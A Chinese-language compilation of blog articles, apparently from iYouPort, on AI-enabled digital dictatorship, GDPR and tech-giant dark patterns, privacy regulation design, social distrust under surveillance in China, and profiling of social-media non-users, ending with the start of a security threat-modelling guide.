例如，你可以想象一下，朝鲜目前的政权在未来获得了这种技术的更高级版本。朝鲜人可能需要佩戴生物识别手镯，接受当局监测他们所做和所说的一切，以及他们的血压和大脑活动。利用对人类大脑日益增长的理解并利用机器学习的巨大力量，朝鲜政府最终将能够衡量每个公民每时每刻都在想什么。如果一个朝鲜人看着金正恩的照片，而生物识别传感器发现了愤怒的迹象（血压升高、杏仁核活动增加），那么这个人第二天可能就在古拉格了。

> 民主与独裁之间的冲突实际上是两种不同数据处理系统之间的冲突—— 而人工智能，完全可以将优势转向后者

然而，至少在有些时候，这种锋芒毕露的战术可能并不是必要的。即使公众对现实的控制越来越少，一些国家表面上仍然可以选择自由投票。但是，可以肯定的是，操纵选民感情的尝试并不新鲜。一旦某人（无论是在旧金山、北京还是莫斯科）获得了操纵人类心灵的技术能力—— 可靠、廉价和大规模的—— 民主政治将彻底变成邪恶的木偶剧。

- 延伸阅读：这就是我们曾经在《定制人将终结民主》一文中强调的噩梦。现在 Facebook 正在努力提起实现这种民主灾难

在接下来的几十年里，我们都不太可能有机会面对有感觉的机器的反叛，但是我们可能不得不面对那些知道如何比我们的母亲更好地按下我们的情感按钮、并使用这种不可思议的能力的大量机器人。

人类精英，试图向我们推销一些东西—— 无论是汽车、政治家还是整个意识形态。而机器人可以识别我们隐藏最深的恐惧、仇恨和渴望，并用它们对付我们。在黑客通过分析有关他们的数据和利用他们的偏见来学习如何操纵个人选民时，我们已经在全球最近的选举和公民投票中预先了解到这一点了。虽然科幻惊悚片带来了大火和烟雾的戏剧性启示，但实际上，我们更可能会仅仅通过几个点击就能面对平庸的大型灾难。

最大的和最可怕的人工智能革命的影响可能是民主国家和独裁政权的相对效率。

从历史上看，独裁政权在创新和经济增长方面面临着严峻的障碍。在

20 世纪后期，民主国家通常胜过独裁统治，因为他们在处理信息方面要好得多。我们倾向于将民主与独裁之间的冲突视为两种不同道德体系之间的冲突，但它实际上是两种不同数据处理系统之间的冲突。

民主分配权力来处理信息并在许多人和机构中做出决定，而独裁统治将信息和权力集中在一个地方。鉴于 20 世纪的技术，在一个地方集中太多的信息和权力是低效的。没有人能够足够快地处理所有可用信息并做出正确的决定。这是为什么苏联做出比美国更糟糕的决定的原因之一，以及为什么苏联经济远远落后于美国经济。

然而，人工智能可能很快将钟摆摆向相反的方向。AI 可以集中处理大量信息。实际上，它可能使集中式系统比漫射系统更有效，因为当机器有更多信息需要分析时，机器学习的效果更好。如果您忽略所有隐私问题、并将所有与十亿人相关的信息集中在一个数据库中，那么您将获得比尊重个人隐私更好的算法。命令其所有公民进行 DNA 测序并与某些中央机构分享他们的医疗数据的威权政府，将获得巨大的优势。那么，人权呢？

20 世纪专制政权的主要障碍—— 将所有信息和权力集中在一个地方的愿望—— 可能成为 21世纪政权的决定性优势。因为技术到位了。

当然，新技术将继续出现，其中一些技术可能会鼓励分散而不是集中信息和权力。区块链技术以及由其启用的加密货币的使用目前被吹捧为针对集中化权力可能的平衡力。但区块链技术仍处于萌芽阶段，我们还不知道它是否真正能抵消人工智能的集中化趋势。

请记住，互联网在早期曾经也被宣传为一种自由主义的灵丹妙药，可以让人们从所有集中系统中解放出来—— 但现在，它已经准备好让集中化霸权变得比以往更加强大了。

- 延伸阅读：终极揭露《互联网究竟是什么》

权力的机器化转移

即使某些社会表面上仍然是民主的，算法效率的提高仍将越来越多地把权力从个人转移到联网机器。我们可能会心甘情愿地放弃对自己生活的更多权利，因为我们将从经验中学习到比信任我们自己的感受更多地信任算法会更靠谱，最终失去了为自己做出许多决定的能力。

不信吗？想想看，在短短二十年内，就有数十亿人将最重要的任务委托给 Google 的搜索算法：找到相关且值得信赖的信息—— 即 决定

数十亿人的认知。我们更多地依靠 Google 来寻求答案，我们独立定位信息的能力越来越差了。

今天，所谓的“真相”是由 Google 搜索算法的最佳结果定义的。人们要求 Google 不仅要查找信息，还要引导他们。自动驾驶汽车和 AI 医生将进一步做同样的事：虽然这些创新将使卡车司机和人类医生失业，但他们更大的重要能力在于，继续将权力和责任从人类转移到机器。

人类习惯于将生活视为决策的戏剧。自由民主和自由市场资本主义将个人视为一个不断对世界作出选择的自主代理人。艺术作品—— 无论是莎士比亚戏剧、简奥斯汀小说、还是俗气的好莱坞喜剧—— 通常都围绕着英雄做出一些关键决定。生存还是毁灭？听我妻子的话杀死邓肯国王，或听取我自己的良心并饶过他？嫁给柯林斯先生还是达西先生？基督教和穆斯林神学同样关注决策的戏剧性，认为永恒的救赎取决于做出正确的选择。

人工智能有朝一日可以做出更好的职业生涯决策，甚至关于人际关系的决策。但是，一旦我们开始依靠 AI 决定学习什么、在哪里工作、与谁约会、甚至结婚，人类生活将不再是决策的戏剧，我们的生活观念将被彻底改变。

那时候，民主选举和自由市场可能不再有意义。大多数宗教和艺术品也是如此。想象一下 Anna Karenina 拿出她的智能手机并询问 Siri 究竟应该与 Karenin 先生结婚，还是与潇洒的 Count Vronsky 私奔？或者想象一下，你最喜欢的莎士比亚玩 Google 算法做出的所有重要决定？哈姆雷特和麦克白的生活会更加舒适，但这些生活会是什么样的生活？我们是否有能够理解这种生活的模型？

议会和政党能否克服这些挑战并阻止黑暗的情景？目前这似乎不太可能。技术混乱甚至不是政治议程上的主要项目。在 2016 年美国总统竞选期间，两位候选人都没有直接解决自动化的潜在影响。唐纳德特朗普警告选民墨西哥人会“抢走”他们的工作，因此美国应该在其南部边境修建一堵墙 ……但他从未向选民发出警告说算法会抢占他们的工作，他也没有建议在加利福尼亚（数字极权的总部集中营）周围建立防火墙。

那我们该怎么办？

首先，我们需要更加重视人类思维的运作方式—特别是如何培养自己的智慧和同情心。如果我们在人工智能上投入太多而在开发人类思维

方面投入太少，那么非常复杂的计算机人工智能可能只会增强人类的自然愚蠢，并培养我们最糟糕的（也可能是最强大的）冲动，其中有贪婪和仇恨。为了避免这样的结果，我们投资于改善人工智能的每一美元和每一分钟，应该被明智地用来探索和发展人类意识。

更实际、更直接的是，如果我们想要防止所有财富和权力集中在小精英手中，我们就必须规范数据的所有权。在古代，土地是最重要的资产，因此政治就是控制土地的斗争。在现代，机器和工厂变得比土地更重要，因此，政治斗争的重点是控制这些重要的生产方式。而在21世纪，数据是比土地和机械都更为重要的资产，因此，政治将是控制数据流动的斗争。

- 延伸阅读：《政治的未来：当机器决定“民主”？》

不幸的是，我们在管理数据所有权方面没有太多经验，这本身就是一项比管理土地或机器更困难的任务。

数据无处不在，它们可以以光速移动，您可以根据需要创建任意数量的副本。收集的关于我的 DNA、我的大脑和生命的数据，究竟是属于我、还是属于政府、属于哪些公司或人类集体？

积累数据的竞争早已开始，目前由谷歌和 Facebook 以及中国百度和腾讯等巨头领导—— 即 中美均分的 FATBAG（Facebook Amazon Tencent Baidu Alibaba Google）。

到目前为止，这些公司充当了“注意力营销客”的角色—— 他们通过向我们提供免费信息、服务和娱乐来吸引我们的注意力，然后他们将我们的注意力转移给广告商。然而，他们真正的业务不仅仅是销售广告。相反，是通过吸引我们的注意力，设法积累了大量关于我们的隐私数据，这些数据比任何广告收入都更有价值。我们不是他们的客户—— 我们是他们的产品。

普通人会发现很难抵制这个过程。目前，我们中的许多人都乐于赠送我们自己最宝贵的资产—— 我们的隐私、也就是基本人权—以换取免费电子邮件服务和有趣的猫咪视频。但是，如果以后，普通人决定试图阻止数据流，他们就可能会遇到更大的麻烦，特别是因为人们可能已经开始依赖网络帮自己做出决策，甚至是关于基本健康和生存问题的决策。

政府将数据国有化可以遏制大公司的力量。但是，历史表明，人类很大程度上不会在一个富有的政府手中活得更好。所以，我们最好要求

我们的科学家、我们的哲学家、律师、甚至我们的诗人，把他们的注意力转向这个大问题上：即 你如何规范数据的所有权？

目前，人类已经变得与家养动物越来越相似了。我们曾经培育了生产大量牛奶的温顺奶牛，但远远不如其野生祖先，他们不再那么敏捷，不那么好奇，而且资源明显不足。而机器，现在正在创造驯服的人类，他们在巨大的数据处理机制中产生大量数据并作为高效芯片发挥作用，但几乎没有最大化其人类潜力。如果我们不小心，最终被滥用的机器将对人类自己和世界造成严重破坏。

如果你发现这些前景令人担忧—— 如果你不喜欢生活在数字独裁或一些同样堕落的社会形式中—— 那么你可以做的最重要的贡献就是：找到防止将过多数据集中在太少的人手中的方法，并找到保持分散式数据处理比集中数据处理更有效的方法。这些不是一件容易的事。但实现这些目标就是民主的最佳保障。〇

原文

为什么说欧洲新法规反而会加强 Facebook 和 Google 的霸权？ - iYouPort

为什么互联网自由-Resist

准备隐私法律的律师、顾问和企业都表示，控制大型科技公司“不是欧洲立法的主要目标”。Facebook 和谷歌又是如何躲避欧盟数据规则的？

「图」

「图」

在欧洲和美国，传统观念认为需要监管来迫使硅谷的数字巨头尊重人们的在线隐私。但新规则可能反而会加强 **Facebook** 和谷歌的霸权，并在互联网上延续其领先优势。

欧洲颁布了大量优先处理人们数据隐私的新法规，已经开始实施，目前有很多国际权利组织在支持。毕竟，新规的条款听起来的确不错，

新法律要求技术公司征求用户对其数据的同意，这很可能会让 Google 和 Facebook 获得优势，因为警惕的消费者比一无所知的新人更容易信任大牌拥有他们的信息。法律可能会阻止没有足够资源遵守规则的初创企业与大公司竞争。

这不是新鲜事。近年来，其他加强在线隐私规则的监管措施基本都对削弱科技巨头公司的力量影响甚微，最终只是帮了互联网巨头而不是伤害他们。

研究隐私条例对竞争影响的多伦多大学市场营销教授 Avi Goldfarb 也认为：“条例有助于老牌企业”，Goldfarb 是2013年报告的合著者之一，他表示隐私监管可能会反竞争，因为从新兴公司获得用户数据许可的成本通常远高于成熟的公司。

Facebook 最近发生了什么已经众所周知，同时谷歌也在处理有关其在线视频服务 YouTube 的问题，因为它已经吸引了担心该搜索巨头

的数据收集机器像 Facebook 一样强大的立法者。

与此同时，像巴西和阿根廷这样的国家正在探索欧洲风格的隐私法规，这将进一步测试这些公司的广告业务模式。

然而，过去在隐私监管方面的尝试几乎没有减轻科技公司的力量。考虑一下早些时候尝试检查 Facebook，Google 和其他公司的权力之后发生在欧洲的事吧。

2014年，欧洲最高法院裁定人们在网上有“被遗忘权”，这意味着他们可以要求谷歌和其他数字公司删除关于他们自己的某些搜索结果。自那时起，谷歌已成为首席仲裁者，因为该公司本身负责确定每一个删除请求的命运。

2011年的另一个欧洲法律要求网站提醒访问者关于收集浏览历史数据的“cookie”跟踪器，但却在很大程度上变成了令人分心的烦恼，而不是改变公司的运营方式。人们通常会选择接受跟踪来摆脱弹出式警告，而不会阅读有关跟踪的详细信息。

今天，数据隐私的哗然也没有减少 Facebook 和谷歌的业务收益或使用。扎克伯格上月表示，剑桥丑闻对 Facebook 业务没有实质性影响，预计该公司在本周公布季度盈利时将显示销售增长；谷歌母公司 Alphabet 称，由于其广告业务持续增长，其最近一个季度的收入增长了 26%。

Facebook 和谷歌的发言人拒绝发表评论。

被称为“通用数据保护条例”的欧洲新规旨在限制科技公司收集、存储和使用该地区用户的个人数据的方式，要求公司以简单明确的语言解释他们打算如何使用人们的个人信息，并详细说明其他实体可以访问该数据的内容。公司不能再隐藏在复杂的、经常被忽略的用户协议之后，必须获得用户对其数据使用的完全理解的同意……但这并不是全部故事。

准备隐私法律的律师、顾问和企业表示，控制大型科技公司不是欧洲立法的主要目标。

一些隐私倡导者也对这种新的限制反而会帮助已经强大的互联网公司的结果高度重视，他们指出，这是一个被技术巨头用来阻止未来监管的老套论点。

巴黎创业孵化器共同创始人 Nicolas Colin 认为，“人们倾向于将该许

可授予他们信任的公司。这就是为什么更严格的规则反而帮了巨头，因为他们拥有那种值得信任的关键资产。”

欧洲隐私法可能通过限制个人数据流动来压制目标广告，但像谷歌和 Facebook 这样的公司仍然有优势，因为广告商很可能会转向具有足够大覆盖面和庞大受众群的服务—就像在超级碗买广告那样。Facebook 的每月用户数量超过 22 亿，Google 的 YouTube 用户数量达到 15 亿。

参与制定隐私规则的欧洲数据保护主管 Giovanni Buttarelli 表示，这些影响的大部分将取决于制定法律的监管机构，他们将面对资金雄厚的说客和律师团队。Google 和 Facebook 将由爱尔兰数据管理机构进行监督，因为他们的欧洲总部位于爱尔兰。 Buttarelli 指出，欧洲在所有处理这个问题的国家中都有约 2,500 名工作人员。

他说大型科技公司有优势，但也将被置于显微镜下。对于处理最多个人数据的公司来说，法律的执行是偏向的：“成为一个科技巨头有利有弊。我们希望以不同方式对待中小企业。”

前谷歌隐私工程师 Yonatan Zunger 现在在人力资源初创公司 Humu 工作，他说，欧洲在获得用户的同意时，将谷歌和 Facebook 列为“一个更高的标准”。他说，这些公司现在不能使数据共享成为使用他们产品的条件，因为同意需要自由给予，而小公司并没有遵循相同的标准。

不过，大公司已经开始适应新的隐私准则了。

Facebook 推出了一份同意书，要求全球的用户—而不仅仅是欧洲人—接受其定向广告并允许脸部识别等功能。它也限制了 Acxiom 等数据中间商的访问，以向隐私倡导者提供优惠。花费数年时间准备新规则的 Google 已停止扫描 Gmail 邮件中用于定位广告的关键字。最近，它为发布商引入了一种新的营销产品，根据网站上其他文章或内容的上下文展示广告，而不是依赖个人信息。

作为回应，隐私权批评者已经质疑了 Facebook 的新同意书，指出它打算继续鼓励用户广泛分享信息。谷歌也受到了欧洲最新的用户同意政策的抨击，该政策采用了开放式语言，批评者称违反了欧洲隐私规则的原则，要求公司以特定和明确的语言征求用户的同意。

“我担心很多人已经对 **GDPR** 投入了很多希望，而我们不确定它会不会实现，这将取决于它将如何实施”，美国开放技术研究所的高级顾

问 Ben Scott 说。

关于 Facebook 和谷歌如何躲避欧盟隐私保护规则的细节

美国科技巨头在没有真正改变其行为的情况下“遵循”欧洲裁决和法规的标准已成为标准做法。这次也一样，Facebook 和谷歌只表现出对欧盟通用数据保护法规的肤浅表述，该法规要求公司允许用户控制他们的数据。

政府资助的挪威消费者委员会发布了一份报告，显示这些科技公司依赖“黑暗模式”来阻止用户行使其隐私权。这里指的是通过诱骗用户做某些事以达到利于企业巨头的目的，通常是被诱惑着订阅他们原本不想要的服务或放弃私人数据。

Facebook 和谷歌已经使用了这一策略已经有一段时间了，即使他们表面上宣称支持欧洲的 GDPR 规则。

比如，Facebook 和谷歌的默认设置旨在从用户那里提取尽可能多的个人数据。他们的 GDPR 相关通知装饰成一个大而方便的按钮，供消费者接受公司目前的做法。

如果用户拒绝，则会被邀请更改设置。实际上，系统会选择默认响应，而如果你选择退出，则会遇到一个阻碍用户的多步骤过程。

报告指出，“默认最低限度的隐私友好选项在我们看来是不道德的，无论服务提供商认为的合法利益是什么。”

不仅如此，**Facebook** 和谷歌的小心机还使隐私保护设置变得没有吸引力和麻烦。

劝导用户放弃隐私的各种心理暗示包括按钮的颜色：Facebook 的“接受并继续”选项是令人放心的蓝色；“管理数据设置”则是灰色的，给人植入一种不太理想的印象。此外，措辞也表明，那些选择“管理数据设置”的人将面临一系列难以理解的和耗时的选择。

这种入侵潜意识的警告很容易做到：选择退出授权数据收集需要 **13** 次点击**;** 而允许数据收集只需单击即可完成选择。谷歌的做法是完全类似的。

在这两种情况下，用户如果想要删除已经被收集的数据，甚至更加困难，例如关于位置历史记录数据，居然需要点击 30 到 40 页！

「图」

「图」

实际上这一切的目的就是：不鼓励用户改变或控制设置或删除大量数据。

Facebook 和谷歌用来忽悠消费者接受数据收集的措辞也是相当微妙的。

这里是 Facebook 对其侵入式人脸识别功能的宣传：“如果你保持脸部识别关闭，如果陌生人使用你的照片冒充你，我们将无法使用这项技术保护你。”

显然，该通知完全没有提到 Facebook 如何使用这些信息， 例如，人脸识别的使用可以用于基于情绪状态的定向广告，尤其是能够在人们希望保持匿名的情况下被识别身份 —— 那些对你是谁感兴趣的人通常包括能够因为你的一句话就把你扔进监狱的人。

谷歌也一样，也没有警告广告个性化的消极方面（例如被灌输片面偏执的政治信息的可能性）：它只是告诉用户他们仍会看到广告，但“不太有用”。

科技巨头们并不局限于措辞和设计以推动用户放弃隐私，支持监视资本主义的壮大。他们还奖励那些符合他们目标的行为，并威胁要对那些想要采取不同路线的用户进行惩罚。

拿 Facebook 的“看你的选项”按钮来说，它出现在那些不想点击“我接受”的人的屏幕上。其中有两个选项：返回接受条款或删除帐户；谷歌告诉那些选择退出广告个性化的用户，他们将无法“阻止或静音某些广告”。

界面设计和措辞小把戏完全都是对无辜者的操纵，同时还不会影响科技公司对欧洲隐私规则的整体“遵守”。

奥地利律师 Max Schrems 等隐私权倡导者已向国家监管机构提出了有关 GDPR 合规性的投诉。毫无疑问会有更多反对意见出现，最终会导致诉讼。也许还会有更多人花时间和金钱以争取欧盟法律赋予他们的权利。〇

原文

为什么隐私保护法规并没能起到作用？ - iYouPort

为什么互联网自由-Resist

这篇文章提供了一个很好的思考：隐私保护法案看起来很好，却为什么无法起到真正作用。但是法律保障理论上是我们应该追求的依靠，于是问题就变成了如何才能让立法为公民服务，而不是帮助大企业钻空子和消弱竞争。中国目前还没有隐私保护法案，我们需要争取将来能有，于是上述问题对中国公民来说非常重要：关于如何在最大程度上避免被立法者欺骗

首先，加州于今年 6 月通过了主要的隐私法规；然后，在9月底，特朗普政府又公布了单一国家隐私标准的官方原则；众议院民主党本月早些时候预览了他们自己的互联网“权利法案”。

简而言之，全面的隐私法规可能会进入美国。鉴于如今我们的隐私权所面对的悲惨现实，理论上这应该是值得欢迎的消息。但是，任何新的监管数据规范都存在严重漏洞。这些法规甚至有可能适得其反 ——例如，它们巩固了已经占主导地位的大型技术公司的地位、或者未能帮助消费者实际控制我们自己产生的数据（这可是任何新法规原本应有的主要目标啊）。

- 延伸阅读：《为什么说欧洲新法规反而会加强 Facebook 和 Google 的霸权？》
- 《从跟踪脚本数量看 Google 是 #GDPR 的最大受益人#GDPR 的最大受益人》
- 《意想不到的后果：#GDPR 反而破坏了隐私#GDPR 反而破坏了隐私》

看看 Brent Ozar 是怎么对付这些法案的。

Ozar 在加利福尼亚州经营一家小型技术咨询公司，为名为 Microsoft SQL Server 的数据库管理系统提供培训和故障排除服务。Ozar 的公

司拥有一支由四人组成的团队，而且拥有一个小型的国际客户群。直到 5 月份欧洲监管机构开始执行名为“ 通用数据保护条例” （GDPR）的隐私法，该法案可以对违规的公司收取高达全球收入4%的罚款。

在 GDPR 开始实施的几个月前，Ozar 宣布，用他的话说，迫使他的公司“停止向欧洲出售产品。” Ozar 写道，作为消费者，他喜欢这些规定; 但作为一个企业，他根本承担不起合规成本或错误风险。

这可不是 Ozar 一个人的做法。更大的国际组织，如 洛杉矶时报 和 芝加哥论坛报 – 以及超过 1,000 个其他新闻媒体 – 全部都是仅仅阻止了任何使用欧洲 IP 地址访问其网站的用户，而不是面对 GDPR 存在的主旨。

这便令试图保护公民的法规形同虚设了。公民所面对的危险并没有去除。

那么我们如何才能将这些危险降到最低？

首先，随着监管机构越来越认真地制定新的隐私法，他们将倾向于实施通用的、基础广泛的法规，而不是在法律中规定具体的处方。即使在快速发展的技术世界中，编写一般规则也总是比更明确的建议更容易，但这些立法者应尽可能避免这种诱惑。

无差别对待所有组织的过于宽泛的法规最终可能会鼓励“数据垄断” —— 只有少数公司可以利用我们的所有数据。有些组织将拥有充分的资源来遵守复杂且高度模糊的法律; 而其他人（如Ozar 和那些媒体平台等）则没有这样的资源。

这意味着数据的监管负担应该分层，以便有差异的组织的合规成本符合其自身条件。加利福尼亚州的“消费者隐私法”通过选择特定的业务部门（如 许多小型组织）直接面对这一问题。并且，任何新法规的合规成本都不应该给世界上已经占主导地位的科技公司带来额外的好处。

其次，相关地，一些组织越来越多地负责我们的绝大部分数据，这对我们的隐私和技术创新都构成了巨大的危险。所以，任何新的隐私法规都必须积极地激励较小的组织共享或汇集数据，以便他们能够与更大的数据驱动型组织相竞争。

解决此问题的一种可能方案是鼓励使用隐私增强技术或 PET，例如差异隐私、同态加密、联合学习（分布式机器学习）等。长期以来，私

人倡导者所提倡的 PET 有助于平衡数据效用与其隐私和安全性之间的权衡。

最后，“用户同意”（用户主动同意在特定时间点收集数据的想法）不再能够在保护我们的隐私方面发挥核心作用。这一直是主要隐私框架的关键方面（想想你点击进入网站的所有“我接受”按钮）。但是在大数据和机器学习的时代，我们根本无法知道我们在点击“接受”时所放弃的个人权利的真正价值。

机器学习的全部价值在于它能够大规模地检测模式。在任何特定时间，放弃少量数据的隐私成本都很低; 然而，随着时间的推移，成本会变得巨大。一个著名的被反复引用的例子就是，一个青少年在她的家人知道她怀孕之前互联网就知道了，仅仅基于她的购物习惯，这只是很多这样的例子之一。

因此，我们无法假设我们完全了解在任何单一时间点放弃的隐私究竟意味着什么。消费者必须能够做到在数据收集后很长时间内对其数据行使权利，这些权利应包括限制数据的使用方式。

除非我们的法律能够正确地适应新的数字技术 – 除非他们能够在合规负担的成本与他们寻求维护的隐私权价值之间取得平衡 – 否则，我们会冒一些非常现实的风险。我们都可以很容易地实施新的法律，而这些法律不能保护我们的隐私，同时也会阻碍新技术的使用。公民有权要求立法者规避上述问题。

原文

他们为什么如此猖狂？因为你们互不信任 - iYouPort

为什么关于中国社会

恶性正在循环。糟糕的模式在一种文化的人群中会高速传递，并遗传给下一代的人类社会。当“不要和陌生人说话”被奉为真理时，你的内心那间狭小牢笼的门就锁死了。

「图」

「图」

高智晟律师失踪，多家英文媒体跟进报道，然而中文网络上，假冒账号应声而动，其自称高律师本人，说“自己已出境”；郭文贵声誉下跌，薄瓜瓜假账号瞬间出现，并高调捧郭。

但问题并不在这表面。而是，你原本可以倾向于推测伪装高智晟平安的人很可能就是制造其失踪的人、伪装薄瓜瓜给郭文贵站台的人很可能是郭本人或被其收买者…… 但如今这样不行了。这是个表演型人格的天下，狂热的声誉爱好者们肆无忌惮的追求短暂的满足感，对他们来说没什么比掌声和眼球更具价值的东西了，如果观众想看自杀，他们现在就能从摩天大楼顶上跳下来（我深切地希望这只是个比喻）。

他们可能与他们伪装的人、以及相关事宜并没有任何关系，仅仅是为了蹭一把热点的光环。你不得不把这些考虑进去。

是啊，蜥蜴脑正在统治世界。

以上是调查显示的在相关关注者中占据最大比例的结论。你当然可以问：为什么你不信任那两个ID、或者其中某一个是本尊？很明显，这里并没有任何凭据支撑那是假冒账号，而大多数人从直觉上就可以判定其不实。这与当事人（高智晟和薄瓜瓜）的身份属性并无关系，因为他俩在某种众所周知的意义上“性质”相反。

切换场景。几年前我曾经遇到过一件这样的事：我与一位因网络发表

评论被恶意举报而遭受了一个星期看守所地狱生活的朋友通过聊天软件交流，TA告诉我，自己的手机很有可能被植入了监控木马，我给了TA一些解决办法，而就在这个时候，TA忽然不再回应，我这边显示为只读不回。

请感受一下我当时的心情。这里有几种可能性存在：1、TA太累了，说一半睡着了，而手机还开着。这是最安全也是最简单的推测结果；2、监控木马的确存在，而且能力强大，加密聊天已变透明，我暴露了，可能很快会被查水表；3、与我对话的人并不是我那位朋友本尊，是警方在使用TA的手机，钓我的鱼；4、也是最严重、最恶意的推测，我的那位朋友，TA已经被当局招安，操纵手机钓鱼的就是TA本人。

如果是你呢，你会倾向于上述四个结论中的哪一个？基于这点，我做了一个小范围的调查，范围集中在平日对人权信息关注度较高的群体中，结果显示，90%＋的人选择2、3、4的结论。

答案究竟是什么呢？——这位朋友在只读不回约40个小时之后，再次来找我了，TA告诉我当天自己在发烧，和我说话的过程中直接昏了过去，迷迷糊糊睡了两天才刚睁开眼睛，并且，被怀疑植入监控软件的手机并不是与我对话时使用的这部手机。那么问题来了，我应该相信TA的解释吗？

我当然相信，因为TA是我的朋友。你也许会觉得我太天真，你会说：人类最危险的一点就在于，他们会变，永远无法掌握的变化。没错，但我还是选择了信任，基于我对TA的人品的了解。

why not? 如果我就此不信任TA，有可能就将TA推向了被孤立的一边。人是社会性动物，失去亲密关系的结果很可能会影响到人性，并且在这种最脆弱的时候，任何渠道的点滴温暖、哪怕是欺骗性的援手，都会轻易把TA拉过去，众所周知，当局最擅长使用这般分化的手段。

注明：上面两个故事之间没有任何联系，本文也不存在任何关于结论的暗示。这种猜心的故事，相信每个人的经历中都有一大把。

你需要合作，你不可能是全能的，但每当你需要帮助的时候，面对手机里几百上千个联系人，会不会脑子里忽然一片空白呢？你不知道应该求助于谁，不知道那些所谓的熟人们究竟都有什么能力可以帮到你眼下的困难，最重要的是，你不知道他们谁可以信任。

「图」

「图」

不同的文化、社会环境会形成完全不同的经历，在不同环境中成熟的大脑会具有非常不同的神经连接模式，并据此对个人所接收到的信息流、能量流做出回应，这就是为什么警察国家的社会互信程度非常低，而民主社会里人们更倾向于彼此信任。

制造白色恐怖的人正在坐吃白色恐怖的红利。

这个社会毫无安全感。每个阶层、每种身份的人，无时无刻都在面对不可预测的失去、损伤、崩塌，甚至生命威胁。虽然担忧各不相同，但担忧无处不在。

幸福金三角：心理、大脑、人际关系，它们彼此相关、彼此作用。没有安全感的感知，是这三者集体受损的结果。

1950年，爱因斯坦写了一封信，给一位刚刚失去女儿的父亲。他写道：

> 在他的体验中，他的自我、想法和情感与其他人相隔绝，这是一种由意识产生的错觉。这种错觉就是人类的牢笼，它将我们局限在个人的欲望中，并只能对极少数与我们亲近的人产生感情……我们的任务是，扩大悲悯的范围，这样才能将自我从牢笼中解放出来，拥抱所有的生灵以及自然界中的一切美好，没有人能完全实现这个目标，但为了实现这个目标的努力，本身就是一种解放，就是内在安全感的基础。

当艾未未拍摄叙利亚难民纪录片的新闻报道出现时，面对来自中国读者对艾未未提出：“为什么不关心中国而是去关心叙利亚”这样的质疑，我感觉非常惊讶，惊讶于提问者眼界之狭隘已到了无法描述的程度。不过，这并非意料之外，中国人的确处于爱因斯坦所讲的错觉牢笼里，成长环境造就了他们短浅的目光、向内的偏见，狭隘的悲悯，以及最为严重的——不信任。

不信任的结果是自我孤立，你会感觉这个世界别样阴冷，而这种阴冷反过来又会加强你的不信任。

注意，不信任并非怀疑一切，而是十分诡异的——人们对值得信任的东西不信任，而对不值得信任的东西，可能反而会无条件的信任。不

信任造成的是分析判断能力的丧失，完全被错觉所引领——你看到的一切都不是真实的。

共鸣回路被切断了。你感知不到他人的感知，不了解他人的内心，你不再具有同理心，面对来自环境的危险信息，你会倾向于将自己的恐惧投射到他人的意图上。这种状况下，他人会被你视为客体，是“他们”，而不是“我们”，当一个中国人说出“自己人”这个词的时候，往往不仅意味着狭隘性的团结，也意味着更为广泛的排斥。

人们心中充满的是怨恨，怨恨一切，民粹政客趁虚而入；没有安全感让人们随时处于一种受到威胁的心理状态中，撤退到战斗、逃跑、僵持不动的原始求生反应里，人与人之间失去了必要的连接，老大哥正洋洋得意的欣赏着这般混乱。

这并不是说希望你能放松警觉，绝不是。警觉性对我们每个人都是有益的，正是它帮助人类祖先延续了生命，但要知道，那些潜意识中的危险图像直到如今仍在影响着我们的感知和行为。人们会选择亲近那些看起来“像我们”的人，而排斥那些看起来“不像我们”的人，包括种族主义在内的各种歧视由此而来。

人际关系是一个人早期感知模式逐渐变得根深蒂固的基础，是它在塑造我们感知世界的方式，并对自己的内在叙述深信不疑。如果没人喊停、没有及时进行反思的内在教育，你就会屈从于社会环境和大脑皮层的影响，任由它们将我们推向更深远的孤僻。

恶性正在循环。糟糕的模式在一种文化的人群中会高速传递，并遗传给下一代的人类社会。当“不要和陌生人说话”被奉为真理时，你的内心那间狭小牢笼的门就锁死了。

塑造大脑成长的正是心理，要多大规模的心理治疗才能帮助这个社会的所有人打开牢笼、终结地狱？〇

原文

你一个人离开社交媒体是没有用的 - iYouPort

为什么

根据一项新研究，即使你不是社交媒体平台的用户，监视者也可以从你朋友的账户中创建95%准确的关于你的个人资料。

根据 James Bagrow 教授的说法，当用户注册了 Facebook 或 Twitter 时，他们可能认为他们只是交出le 自己的数据，但实际上，他们也在卖掉他们的所有朋友。

最重要的是，该研究表明，仅仅“选择退出”/不再订阅社交媒体平台并不足以保护个人隐私。

Bagrow 教授和他在佛蒙特大学和阿德莱德大学的团队在“自然人类行为”杂志上发表了一篇论文，研究这是如何运作的。

他的团队发现，能够使用从八个联系人中收集到的数据来预测一个人的推文的内容，并且可以达到准确的程度，就像他们正在查看该人自己的 Twitter 提要一样。

根据该研究，用于预测推文内容的配置与社交媒体平台通常构建的配置没有什么不同—— 简单说就是，社交媒体巨头也能做到这点。

科学家们认为，只要一个人可以被置于朋友的社交网络中，就有可能对这个人进行准确的描述—即使他们自己实际上并不是社交媒体平台的用户。

也就是说，社交媒体公司通过确定一个人的朋友是谁，通过访问他们的电话上的联系人簿或他们的电子邮件帐户，以及他们的个人资料，就可以涵盖任何数量的兴趣、信仰或愿望，也就是每个人身上的那些标志性特征，找到本人是很容易的。

Bagrow 教授向 Sky News 解释说：“所有这些社交媒体平台都通过使用这些资料剖析人们以进行定向广告或推荐好友的。”

“想想政党、最喜欢的产品、[和]宗教承诺，” 研究人员说，即使从未

成为社交媒体平台的成员或已经删除了他们的帐户，也可以通过这种方法建立详细的细节。

“在社交网络中是无处可藏的，”该论文的共同作者 Lewis Mitchell 博士说，他是佛蒙特州的研究员，现在是阿德莱德的高级讲师。

“你一个人无法控制你在社交媒体平台上的隐私，因为你的所有朋友都会暴露你”。

Staying off social media is not enough to protect your privacy, study says. Scientists have discovered it’s possible to create a 95% accurate profile of non-users on social media using their friends’ data.

原文

保护安全需要一系列思考方式，而不是哪个软件 - iyouport

为什么

【2019年4月17日存档】在考虑您自己的数字安全性时，请考虑以下这些基本提示

很多读者留言询问这个软件怎么样、那个行不行，这些读者都是真正注重隐私安全的人，对此我们非常高兴。不过，保护安全是保护自己的安全，它不是说别人认为足够好的东西也适合您。就像同样是汽车，有人需要防撞杆，而有人必须整体装甲才行。于是，对于安全性来说最基本的是需要一些思考方式，它非常简单，我们曾经陆续介绍给，这里稍微总结一下。

简单说就是，在考虑您自己的数字安全性时，请考虑以下这些基本提示。

知识就是Power——

良好的安全决策始于对自身面对的情况有一个全面的了解。于是首先问自己以下问题：

- 我想保护的是什么？
- 我面对的敌人是谁、敌人想要的是什么？
